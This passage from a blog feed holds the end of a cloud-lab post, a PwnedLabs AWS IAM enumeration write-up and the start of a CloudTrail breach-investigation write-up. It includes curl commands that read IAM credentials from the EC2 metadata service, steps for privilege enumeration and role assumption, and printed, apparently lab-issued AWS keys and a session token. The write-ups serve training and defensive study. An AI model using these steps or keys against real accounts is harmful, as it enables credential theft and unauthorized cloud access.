setup</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5tmZiokFQs_pFb0g-ChgA.png" /><figcaption>S3 Buckets Misconfiguration setup</figcaption></figure><p>The 2019 Capital One breach followed a very similar pattern. An SSRF vulnerability was used to access the EC2 metadata service, retrieve IAM credentials, and eventually access sensitive data stored in S3.</p><p>Part of the reason I wanted to build this lab was to understand that chain properly from both perspectives:</p><ul><li>How attackers abuse these weaknesses</li><li>Why defensive controls fail</li><li>What misconfigurations make the impact worse</li></ul><h3>What I Learned While Building It</h3><h4>Keeping IMDSv2 Enabled</h4><p>One of the most useful lessons during setup came from working with the AWS Instance Metadata Service.</p><p>At first, I considered disabling IMDSv2 and falling back to IMDSv1 because it would make SSRF testing easier. IMDSv1 allows direct requests to the metadata service without requiring a session token, which is the classic vulnerable setup shown in older tutorials.</p><p>But the more I thought about it, the less realistic that felt.</p><p>Modern AWS environments increasingly use IMDSv2, and attackers have adapted to that. If I wanted this lab to reflect how these attacks actually work today, I needed to keep the security control enabled and understand is a good security practice.</p><p><strong><em>That meant retrieving a token first before querying metadata:</em></strong></p><pre># Step 1 — Retrieve token<br>TOKEN=$(curl -s -X PUT &quot;http://169.254.169.254/latest/api/token&quot; \<br>  -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;)<br><br># Step 2 — Query metadata using token<br>curl -s -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; \<br>  http://169.254.169.254/latest/meta-data/iam/security-credentials/</pre><p><em>Keeping IMDSv2 enabled made the setup more realistic and honestly taught me more than taking the easier route would have.</em></p><h4>S3 Block Public Access</h4><p>Another moment that taught me a lot was while configuring one of the deliberately vulnerable S3 buckets.</p><p>I initially hit an AccessDenied error because AWS Block Public Access was enabled at the account level.</p><p>Oddly enough, that mistake ended up being more educational than if everything had worked immediately.</p><p>It helped me understand why AWS introduced that control in the first place and how small operational decisions can accidentally create exposure. In a real environment, it is easy to imagine someone disabling Block Public Access temporarily to troubleshoot access issues, planning to re enable it later, and then forgetting about it entirely.</p><p>That single mistake is responsible for a huge number of real-world S3 exposure findings.</p><p><em>For the lab, I disabled Block Public Access only on one bucket and intentionally left the others properly secured. I wanted to see how one weak point inside an otherwise reasonable environment could still create significant risk.</em></p><h4>What This Project Is Really About</h4><p>I also wanted this project to be an honest learning process</p><p>There were plenty of moments where things broke unexpectedly revealing my weaknesses e.g managing git via the terminal, permissions did not behave the way I expected, Docker containers failed, or AWS settings blocked what I was trying to do. A lot of the learning came from troubleshooting those mistakes rather than successfully exploiting something on the first try.</p><p>That is probably the biggest reason I built this instead of only relying on guided labs and platforms. I learn far more when I have to make real decisions, hit real problems, and figure out why something is not working.</p><p>The writeups in this repository reflect my thought process and weakness. They are not meant to be perfect tutorials and still in process. They are documentation of the mistakes, the fixes, and the lessons learned while building the lab.</p><h3>Setup Documentation</h3><p>The full setup process is documented step-by-step inside the /setup/ directory.<br><br>File Description:<br>00-iam-user-setup.md - Creating the IAM admin user<br>01-ec2-deployment.md - Launching EC2 and attaching the vulnerable role<br>02-dvwa-install.md - Installing and configuring DVWA<br>03-vampi-install.md - Deploying VAmPI with Docker<br>04-aws-misconfigurations.md - Creating vulnerable S3 and IAM configurations</p><p><a href="https://github.com/keusuanl/cloud-appsec-lab/tree/main/setup">https://github.com/keusuanl/cloud-appsec-lab/tree/main/setup</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYW5Jzz_V8yVLfOd3P6eOQ.png" /></figure><blockquote>This project is part of my ongoing AppSec and cloud security learning journey throughout 2026.</blockquote><h3>Resources</h3><ul><li><a href="https://github.com/digininja/DVWA">https://github.com/digininja/DVWA</a></li><li><a href="https://github.com/erev0s/VAmPI">https://github.com/erev0s/VAmPI</a></li><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html?refid=aebc39a1-139c-43bb-8354-211ac811b83a#creating-bucket">https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html?refid=aebc39a1-139c-43bb-8354-211ac811b83a#creating-bucket</a></li><li><a href="https://portswigger.net/web-security/api-testing">https://portswigger.net/web-security/api-testing</a></li><li><a href="https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf">https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf</a></li><li><a href="https://portswigger.net/web-security/access-control">https://portswigger.net/web-security/access-control</a></li></ul><p><strong>Lab Architecture — Diagram</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*1UBGuDx5tF9FRQZ0ej7GPA.png" /><figcaption>ATTACK CHAIN</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17581ca900df" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/cloud-appsec-lab-building-breaking-and-understanding-the-gap-between-web-apps-and-aws-17581ca900df">Cloud AppSec Lab — Building, Breaking, and Understanding the Gap Between Web Apps and AWS Cloud…</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PwnedLabs — AWS IAM Enumeration]]></title>
            <link>https://aws.plainenglish.io/pwnedlabs-aws-iam-enumeration-methodology-in-practice-b06c4bbba514?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/b06c4bbba514</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Fri, 19 Apr 2024 22:59:42 GMT</pubDate>
            <atom:updated>2026-07-08T09:55:11.928Z</atom:updated>
            <content:encoded><![CDATA[<h3>PwnedLabs — AWS IAM Enumeration</h3><h3><strong>Cloud Security</strong></h3><h4>Introduction:</h4><p>Why is AWS IAM Enumeration so crucial ? Picture it as the backbone of cloud security — a fundamental pillar that maps who can access what within the AWS environment. For blue team defenders, it’s about maintaining order and safeguarding against potential breaches. Meanwhile, red team attackers thrive on uncovering vulnerabilities and exploiting misconfiguration to gain unauthorized access.</p><h4>Scenario:</h4><p>We are a security consultant hired by the global logistics company, Huge Logistics. Following suspicious activity, we are tasked with enumerating the IAM user dev01 and mapping out any potentially compromised resources. Our mission is to enumerate and evaluate IAM roles, policies, and permissions.</p><h4>Real-world context:</h4><p>IAM (Identity and Access Management) is central to building, defending and attacking cloud services. Both offensive and defensive security practitioners need a solid understanding of IAM and how to enumerate permissions: attackers look for overly-permissive settings or misconfiguration in a potential attack chain, while defenders ensure need to enforce the principle of least privilege and identify any resources or services that are in the blast radius of a compromised IAM user.**</p><p><strong>How To Install the AWS CLI:</strong></p><p>We will be using the AWS CLI. The AWS CLI allows us to interact with AWS services via their API, eliminating the need to navigate the AWS console manually. We can configure services and launch resources using just our terminal.</p><p>To install the AWS CLI, start by visiting the following page: <a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html">https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html</a>. Then, follow the straightforward instructions provided based on your operating system.</p><p>I will start by typing:</p><pre>aws configure --profile huge-logistics</pre><p>You have the option to configure profiles to manage multiple credentials simultaneously. When creating a profile, if you omit the --profile flag, it will be saved as the [default] profile. Alternatively, you can customize the profile name as desired. In this case, i have chosen to create a profile named huge-logistics for a tidy and organized working environment. Once done, click and you’ll be asked to fill in information which has been provided to you :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*Nyba4IrngiA08TF7o4iSIQ.png" /></figure><p>Next enter this command, simply see it as like the Linux [whoami] command in AWS, because it returns basic information about who you are</p><pre>aws sts get-caller-identity --profile huge-logistics</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*_6aXFI63FTaoHjZJo1NXDg.png" /><figcaption>As you can see, we are authenticated as a user `dev01`</figcaption></figure><h4><strong>Enumeration :</strong></h4><p>Now that we’ve set up our profile, we’ll begin enumerating the IAM User, Groups, Policies, Roles and Permissions Of the User. By doing so, we’ll assess the user’s Capabilities, Limitations and Weakness thoroughly. Enumeration is Key!</p><p>First step of my Enumeration is trying to get a snapshot or like a detailed view of the user `dev01` This command provides a snapshot of the IAM permissions, configuration including users, groups, roles, and policies, along with their relationships within your AWS account.</p><pre>aws iam get-account-authorization-details  --profile huge-logistics</pre><p>Like I said this command provides a snapshot of the IAM permissions configuration, including users, groups, roles, and policies, along with their relationships within your AWS account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ox1dEAIU7hkTQsLICVs-AQ.png" /><figcaption>It seems we encountered an “access denied” error, indicating that we lack the necessary permissions or authorization to issue this command</figcaption></figure><p>Another command which i like to run early on is one that provides detailed information about the specified IAM user, including their user name, user ID, ARN (Amazon Resource Name), creation date, and additional metadata.</p><pre>aws iam get-user --profile huge-logistics </pre><p>This command provides detailed information about the specified IAM user, including their user name, user ID, ARN (Amazon Resource Name), creation date, and additional metadata about our IAM User</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*m8xpoOqM0srzL0hM1OkyBw.png" /></figure><p>For the sake of this lab’s objectives focusing on enumerating IAM User roles, policies, and permissions, we’ll prioritize enumerating and evaluating those aspects. While a more in-depth enumeration will should include other users accounts , and groups and their roles and policies which could provide valuable insights, but Let’s proceed with enumerating policies and IAM roles for the user dev01</p><pre>aws iam list-user-policies --user-name dev01 --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*sfIWXjbm5rni6wMdJ_RvUg.png" /></figure><p>We can see that dev01 user as just a single policy named S3_Accesswhich grants access to Amazon S3 resources.</p><p>NOTE: This command only lists out inline policies, not managed policies.please keep in mind that in aws cloud there two types of policies the inline and managed. It’s crucial to consider both Inline and Managed Attached Policies during enumeration. While inline policies are directly attached to a user, group, or a role, Managed Attached Policies are standalone entities that can be attached to multiple users, groups, or roles. Enumerating both types of policies can indeed reveal valuable insights into the permissions and access controls within the AWS environment.</p><p>Again, that’s not the only permissions or policies dev01 has. Let’s see what I mean. Let’s list attached managed policies:</p><pre>aws iam list-attached-user-policies --user-name dev01 --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*3pVXfXv0yrP_AaYDtDuY6A.png" /></figure><p>Ah, see what I was talking about? By running the command, we’ve discovered another two policies attached to the user ‘dev01.’!! This further emphasizes the importance of thoroughly enumerating all policies. Now, we’ve uncovered two: ‘’AmazonGuardDutyReadOnlyAccess’’ and ‘“dev01”.. The AmazonGuardDuty is a threat detection service that continuously monitors for malicious or unauthorized behavior to help protect your AWS accounts and workloads.</p><p>Next, let’s get and retrieve this policies we have discovered and learn more about them . Retrieving policies is essential for understanding who can do what in the environment. It helps us grasp the capabilities and limitations of users’ access. Let’s continue by digging deeper to learn about these two attached managed policies</p><pre> aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess --profile huge-logistics</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frmvuNMa8Rj3LQ_4Vno0Bg.png" /><figcaption>Found more information about the Policy</figcaption></figure><p>we can also see DefaultversionId : v4 , these means this policies is version 4 , could there be any other versions to this policy?</p><p><strong>Understanding Policies Versions:</strong></p><p>Imagine you have a policy called “S3AccessPolicy.” Initially, it allows read-only access to all S3 buckets. Later, you decide to update the policy to grant write access to specific buckets. Instead of directly modifying the existing policy, you create a new version of the policy with the updated permissions. or think of it this way, You are running your OS using vmware and taking snapshots, those previous snapshots you have in there are labeled as version 1, 2 and so but this time its in the cloud . So see it simply as , while in a virtual machine environment you might take a snapshot before making significant changes, in AWS IAM you create a new version of a policy to capture those changes while keeping the previous versions intact. This ensures that you have a backup of your policy configurations and can easily roll back changes if required</p><p>lets dig deeper and enumerate and list the AmazonGuardDutyReadOnlyAccess policy versions</p><pre>aws iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L71nf1AVS5KsVVBZmDLMxw.png" /></figure><p>Boom! we can see other versions</p><p>Listing and Retrieving the Version 3 which is the most previous version — below in Version 3 we see that the“ Describe “, “Get” and “List” actions are allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bib63hDQWe1tXRMtgHz4dg.png" /></figure><p>In GuardDuty API operations, “Describe” permits retrieving details about GuardDuty resources like detectors, findings, or configurations. “Get” is used for obtaining findings, threat intel sets, or filter details, while “List” is for listing detectors, members, or findings, typically providing resource lists without detailed information. In version 3, all Describe, Get, and List actions are allowed.</p><p>We’ll make note of these findings as we proceed. Let’s continue by enumerating the other attached managed policy named “dev01,” which shares the same name as the user. This policy may contain additional permissions that we need to analyze. same steps as the previous one. so i will try and go straight to the point on this one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMzzn3zp1DV9tNxCGJRQqw.png" /><figcaption>Listing dev01 attached policy versions. Again we will focus on enumerating the most recent version before it was updated . V7</figcaption></figure><pre>aws iam get-policy-version --policy-arn arn:aws:iam::794929857501:policy/dev01 --version-id v7 --profile huge-logistics </pre><p>Retrieving the policy version 7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ga-cd7GLzyOcrBhtbyxHqw.png" /></figure><p>It appears that this version 7 managed policy attached to the dev01 IAM user provides permissions for various actions. These include retrieving details about the user itself, any groups they belong to and their attached policies. Additionally, it grants permissions to get details about the BackendDev role, list the policies attached to that role, and retrieve information about a policy named BackendDevPolicy, which we assume is associated with the role. Furthermore, the policy allows getting information about an Amazon-managed policy. This comprehensive set of permissions gives dev01 significant capabilities for managing its own identity, group memberships, and accessing role-related information within the AWS environment.</p><p>Let’s proceed with enumerating the BackendDev role and the BackendDevPolicy policy. By retrieving details about these entities, we can further understand their permissions and configurations within the AWS environment.</p><pre> aws iam list-attached-role-policies --role-name BackendDev --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*nrWrqiZYbomFoyb8OocdkA.png" /></figure><p>The output In this case, it shows that there is one policy attached to the BackendDev role, which is named BackendDevPolicy. The PolicyArn field specifies the Amazon Resource Name (ARN) of the attached policy, which is arn:aws:iam::794929857501:policy/BackendDevPolicy. This ARN uniquely identifies the policy within the AWS account and region.</p><p><strong>Understanding Roles and Policies :</strong></p><p>While IAM policies define specific permissions and access controls. Roles determine who can assume them and what permissions they have, while policies specify the actions and resources accessible to users, groups, or roles. is very important to know how they works</p><p>Next , We will enumerate the role.. Let’s retrieve and inspect the contents of the role ‘BackendDev’ by issuing the appropriate commands. We’ll start by using the aws iam get-role command to gather detailed information about the roles listed.</p><pre>aws iam get-role --role-name BackendDev --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*igzTsmfzJUIobh0-cr6pbQ.png" /></figure><p>AssumeRolePolicyDocument is particularly interesting from the outputs results. as it defines who can assume the BackendDev role. You can think of assuming a role as similar to elevating privileges or using sudo in a Linux environment. It allows an entity to temporarily inherit the permissions associated with the role, enabling them to perform high privileged actions on AWS resources according to the permissions defined in the role’s policies.</p><p>Now is time to assume the role. Assuming the BackendDev. Role like i mentioned , is akin to like putting on a &quot;sudo hat&quot; in the AWS environment. It allows an IAM user to temporarily inherit the permissions and access controls defined in the BackendDev role’s policies. This enables the user to perform actions on AWS resources according to the permissions granted by the role, providing a way to securely access and manage resources within the AWS environment.</p><p>Let&#39;s proceed with assuming the BackendDev role using the appropriate AWS CLI command which will give us the credentials for assuming the role</p><pre>aws sts assume-role --role-arn arn:aws:iam::794929857501:role/BackendDev --role-session-name MySessionName --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XB6HfAXC8igUnRi_IAp7ew.png" /></figure><p>Now that we have the credentials for the assumed role, let’s go through the steps to set up and assume the role in a step-by-step guide.</p><ol><li>Open up the “ <em>~/.aws/config</em> “ with any text editor from your terminal</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*9uypcOMIcQhtPjo7-IV5Xg.png" /></figure><p>Next step is creating a profile under the default or current profile you have in there ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*8qliLFv_x5c_8fMzEtdnKQ.png" /><figcaption>adding the assumedrole BackendDev credentials to the <em>~/.aws/config and save just like this</em></figcaption></figure><p>PLEASE: Ensure that you have authenticated with the source profile. in my case i use huge-logistics as the source profile.. that is to say i linked the new created assumerole profile with the current profile which is huge-logistics. if you dont have a profile, you can use &#39; default &#39; as your source_profile</p><p>2. Open up the “ <em>~/.aws/</em>credentials “ with any text editor from your terminal. in my case i used nano.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*ogDUQsFYb_QMCuxXf2pGoQ.png" /></figure><p>by configuring the ~/.aws/credentials file with the access key ID and secret access key of the IAM user or role.</p><pre>[assumed-role]<br>aws_acess_key_id = ASIA3SFMDAPO7UDTQQPG<br>aws_secret_access_key = 2HlT3ZWN9HBsp5nxNDctHCsKYtWFFGbLSLo0Xs7Y<br>SessionToken = IQoJb3JpZ2luX2VjEM7//////////wEaCXVzLXdlc3QtMSJIMEYCIQDW6FvHm80kpeUghhJwozQUliA0KHz27m1eR7o9KQ3JTwIhAND6maoiU5H/Mzv6asnTrKYXAJwFDyzmuQDRwCgo2yrwKpoCCBcQABoMNzk0OTI5ODU3NTAxIgwjunuB7Okyi91XguIq9wEJ9DLz/A1FMwB7DHTUYslTywhVOcIiaagAlmrwQbia7ru0jkprhCcjVa7VGfubS6jVWTxHGeKMIUBTPnfqfat1D2Zg5ZalbKyJBksVAUEHF2os8sNIR6lyMcNVnYBi8ocsJT7FsgxSqYjFWRs/fCdvxOU+U50ZGw1+WXdTo2vpXhJUWVc+CLU+18l8QQrlX94AejaymVBwyp/QBcDeL2nXeJFmN6dAbKls9ottgk2zE9/K/cv5ZNJv/RxwwGK+ZU6t8Ycj4twOBQ0d6WRPq+ch08ceOIdUIMDJtYLdEEKvMOQBEsD9IpnOV1G2wwIMMeFBde2c/d/7MIbuibEGOpwBXKn0oIcC8CaJojnOne/TccpsSGP/9wNXK+ZXnYVLkR6bkGfc2xMw13r6ITgrtyHDvpukbRTOunvTRZzTJ+zG397WYp5EJnECcacy58vsei/+PtLN3VxnbeK4db4wxAa/t1E52sE+ujQvw69R2rcThUK1vO2UGafiJFwArZ7UMHQNUlllErtIgNu+m73sLSZKQ0uRtXtzPlD9kEyj</pre><p>Add this credential to the <em>~/.aws/credentials</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*vrE4tUMBShg9D5NDwxJfNQ.png" /><figcaption>example of how you can add your assumedrole credentials to the <em>~/.aws/credentials files and save</em></figcaption></figure><p>Next, we’ll issue the whoami command to confirm that our assumed role setup is correct and functioning as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*cVABedKQidUmzby9zg8iiw.png" /></figure><p>Everything seems to be properly configured and in order. We have successfully assumed the role.</p><p>Now that we’ve assumed the role, we can explore its capabilities. If you take note or recall you will remember the user dev01 has an inline S3Access policy . this is why taking notes and enumeration goes side by side .. So given that the user dev01 had an inline policy named S3_Access granting access to S3, let&#39;s proceed to enumerate the S3 resources and see what actions we can perform. This will help us understand the extent of our permissions within the S3 service.</p><pre> aws iam get-user-policy --user-name dev01 --policy-name S3_Access --profile huge-logistics </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pwsCKLMte7Jc0580HYGQQ.png" /></figure><p>Here we can see , The S3_Access policy attached to the user dev01 grants permissions to perform two actions: s3:ListBucket and s3:GetObject. These actions allow listing and accessing objects within the S3 bucket. you can think of the S3 Bucket as FTP that stores files.</p><p>The hl-dev-artifacts. Specifically, the policy allows listing the contents of the bucket and getting objects within it. The policy applies to both the bucket itself (arn:aws:s3:::hl-dev-artifacts) and all objects within it (arn:aws:s3:::hl-dev-artifacts/*). In summary, the policy enables the user dev01 to list and retrieve contents from the specified S3 bucket.</p><p><strong>LISTING S3 BUCKETS RESOURCES</strong></p><pre>aws s3 ls s3://hl-dev-artifacts --profile huge-logistics</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*Oykun5OvRk7Xz8pT8UCmoA.png" /></figure><p>DOWNLOADING THE FLAG.TXT TO OUR LOCAL MACHINE</p><pre>aws s3 cp s3://hl-dev-artifacts/flag.txt . --profile huge-logistics  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*kqm61PTxzxXGn4R0oxyYbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*c9XZDyRfus2aMz3cYMXYEg.png" /><figcaption>Flag.txt</figcaption></figure><h4>Conclusion :</h4><p>The discovery of sensitive files and compromised user credentials underscores the importance of maintaining strict access controls and monitoring within AWS environments. Here are some key conclusions and mitigation strategies:</p><p><strong>- Access Principle</strong>: The principle of least privilege should be followed when assigning permissions to IAM users, roles, and policies. Users and roles should only be granted the minimum permissions necessary to perform their intended tasks.</p><p><strong>- Regular Review</strong>: Regularly review and audit IAM policies, roles, and permissions to ensure they align with organizational security policies and requirements. Remove any unnecessary permissions or roles.</p><p><strong>- Multi-Factor Authentication (MFA)</strong>: Enforce MFA for IAM users, especially those with elevated privileges or access to sensitive resources. This adds an additional layer of security to prevent unauthorized access.</p><p><strong>- Credential Rotation</strong>: Implement automated credential rotation for IAM users and roles to mitigate the risk of compromised credentials. This includes access keys, secret keys, and session tokens.</p><p><strong>- Access Logging and Monitoring</strong>: Enable AWS CloudTrail to log all API calls and monitor for suspicious activities or unauthorized access attempts. Set up alerts and notifications for unusual behavior.</p><p><strong>- Session Duration Limits</strong>: Set session duration limits for assumed roles to reduce the window of opportunity for unauthorized access. Limit the duration of assumed role sessions based on operational requirements.</p><p><strong>- Regular Security Training</strong>: Provide regular security training and awareness programs for IAM users and administrators to educate them about best practices, security risks, and how to recognize and respond to security incidents.</p><p>By implementing these mitigation strategies and adhering to security best practices, organizations can reduce the risk of unauthorized access, data breaches, and other security incidents associated with assumed roles in AWS environments.</p><h3>Before you go</h3><ul><li>Please take a moment to like the post and follow the writer!</li><li>Did you know that over 400,000 developers share what they’re building, learning, and discovering across our platforms every month? Learn how you can contribute <a href="https://plainenglish.io/write-for-us">here</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b06c4bbba514" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/pwnedlabs-aws-iam-enumeration-methodology-in-practice-b06c4bbba514">PwnedLabs — AWS IAM Enumeration</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PwnedLabs - Breached in the Cloud: A Journey into Cloud Security]]></title>
            <link>https://medium.com/@kusuanlele8/pwnedlabs-breached-in-the-cloud-a-journey-into-cloud-security-588061ca984a?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/588061ca984a</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Fri, 05 Apr 2024 03:42:47 GMT</pubDate>
            <atom:updated>2024-04-05T03:54:06.061Z</atom:updated>
            <content:encoded><![CDATA[<h3>PwnedLabs - Breached in the Cloud: A Journey into AWS Cloud Security</h3><p><strong>Introduction:</strong></p><p>The following blog post covers the exploitation of the vulnerabilities of the Breached in the Cloud machine from Pwnedlabs . In this blog post, the subtle aspects of cloud security from the initial reconnaissance to data exfiltration are discussed in depth. Perform forensics investigations and penetration test, and more. i call this lab a “All-In-One” Thus, be prepared for get into the understanding of AWS cloud computing and cybersecurity. lets get to work!</p><h3><strong>Scenerios</strong></h3><p>We’ve been alerted to a potential security incident. The Huge Logistics security team have provided us with AWS keys of an account that saw unusual activity, as well as AWS CloudTrail logs around the time of the activity. They need our expertise to confirm the breach by analyzing the CloudTrail logs, identifying the compromised AWS service and any data that was exfiltrated. follow the steps on Pwnedlabs to download the Cloudtrail Logs.</p><p><strong>Understanding AWS CloudTrail Logs:</strong> AWS CloudTrail simply is a log for monitoring and auditing of your AWS accounts. It records actions performed by users, roles, or AWS services as events. These events capture activities across the AWS Management Console, Command Line Interface. CloudTrail keeps track of all the important actions in your AWS environment. you can see it just like the Sys Log in windows OS</p><p><strong>Our Objectives | Goals: </strong><br>Breaking it Down:- We will be using our expertise to confirm the breach by analyzing, investigate and find clues from the CloudTrail [logs], and identifying the compromised AWS service and any data that was exfiltrated. simply see it like searching through your computer’s event logs to find any signs of trouble, what went wrong, and how it occurred..By analyzing the CloudTrail logs, we are looking for any actions that seem out of the ordinary or unauthorized</p><p>NOTE: Installing the AWS Command Line Interface (CLI) on Kali Linux or your Linux is pretty straightforward. Here’s a link step-by-step guide for you. <a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html">https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html</a> or you can also use the one from github, <a href="https://github.com/aws/aws-cli/blob/develop/README.rst">https://github.com/aws/aws-cli/blob/develop/README.rst</a></p><p>After installation is complete, next step is to configure and set up the credentials we&#39;ve been given from the Breach-In-Cloud Pwnedlabs .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*io_DSNtis9Cl9nO826M9LQ.png" /><figcaption>AWS Credentials</figcaption></figure><p>Setting up the AWS account : Follow this steps-</p><p>Enter this command on your terminal and it will prompt you to enter the AWS Credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*xMZmWlKhkcajV8yLJd5ezA.png" /><figcaption>you can use us-east1 when it prompt you to enter the Default region name. that will be all</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Pbb9AWaYyAHs7OMnJtxfXA.png" /><figcaption>Next Enter this command, simply see this as the Linux [whoami] command. it confirms we set up the account we’ve now logged in as /temp-user</figcaption></figure><p>Downloaded the CloudTrail Log and List Out its Content. Note: after download the INCIDENT-3252.zip which is contains the CloudTrail Logs, you can unzip it and view with ‘ls’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*X9ylWqSpC2nDUgVBPFHLoQ.png" /></figure><p>By using the command cat 107513503799_CloudTrail_us-east-1_202308* | jq &gt; full-logs, we&#39;re automating the process of combining all the CloudTrail logs into a single file named full-logs. This makes it more convenient to analyze and work through all the logs at once, rather than having to view them individually. It&#39;s like compiling all your documents into one folder for easier access and management. Simplifying the process allows us to efficiently navigate through the logs and extract valuable information from them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*Vj2RAJROAn7CFMLuxFUyDg.png" /><figcaption>Now we will be working on the full-logs.json which contains all the cloudtrail logs</figcaption></figure><h4>Investigating and Trailing the Incident from the CloudTrail Logs that we have named “full-logs.json“</h4><p>Using the command. cat full-logs.json | grep -A 20 /temp-user* , . we can efficiently view, analyze, and filter the CloudTrail logs for relevant information. This allows us to track the activities and behaviors associated with the ‘temp-user’ IAM User, identifying any deviations from usual patterns or potential security risks. By examining the logs and taking detailed notes on any significant findings. I highly recommend taking detailed notes when working on labs or any machines</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*JoPMT5kAgoYGO17B1ArS3g.png" /><figcaption>The command grep -A 20 /temp-user* efficiently filters our CloudTrail logs, focusing specifically on activities associated with the /temp-user</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*wZhJVjw60znP1colWcGrBQ.png" /><figcaption>Trailing the Incident — This event indicates that the attacker attempted to list objects within the “emergency-data-recovery” S3 bucket but was denied access due to lack of permissions.</figcaption></figure><p>what the attacker ie, the /temp-user was doing is enumerating the account by issuing various commands .. the “ListAccountAliases” operation in AWS IAM allows you to retrieve a list of all the aliases associated with your AWS account. These aliases serve as alternative identifiers for your AWS account, making it easier to refer to your account in various AWS services. sounds confusing? don&#39;t worry, just follow along, you will understand better</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*rFT_09bAHOYD0sjd-gZ9lA.png" /><figcaption>Trailing the Incident</figcaption></figure><p>As we monitor our CloudTrail logs, it’s crucial to pay attention to any anomalies, especially those involving the ‘temp-user.’ By noting the IP addresses associated with this user, we can leverage our OSINT (Open-Source Intelligence) skills to investigate the origin of potential attacks and take proactive measures to safeguard our AWS environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*AJyBGNkz1eidhwilS411UQ.png" /><figcaption>Trailing the Incident — Investigating the User Ip address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*YXe3Zpnez33KDy7Tkr0pHQ.png" /></figure><p>observing a user’s activity from an unexpected location could indeed raise suspicion. This serves as a significant clue for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tICTbFiPooiQKK5t9yLFaA.png" /><figcaption>Trailing the Incident — The /temp-user keep trying various commands and so on, most of them failed , not authorized. These various commands seems to be part of an enumeration or reconnaissance phase where the attacker is attempting to gather information about the AWS environment, including the configuration of various services and resources. By attempting to list users,pipelines, resolver roles, and restore jobs, the attacker may be trying to identify potential targets for further exploitation or to gain a better understanding of the target’s infrastructure.</figcaption></figure><p>NOTE: The 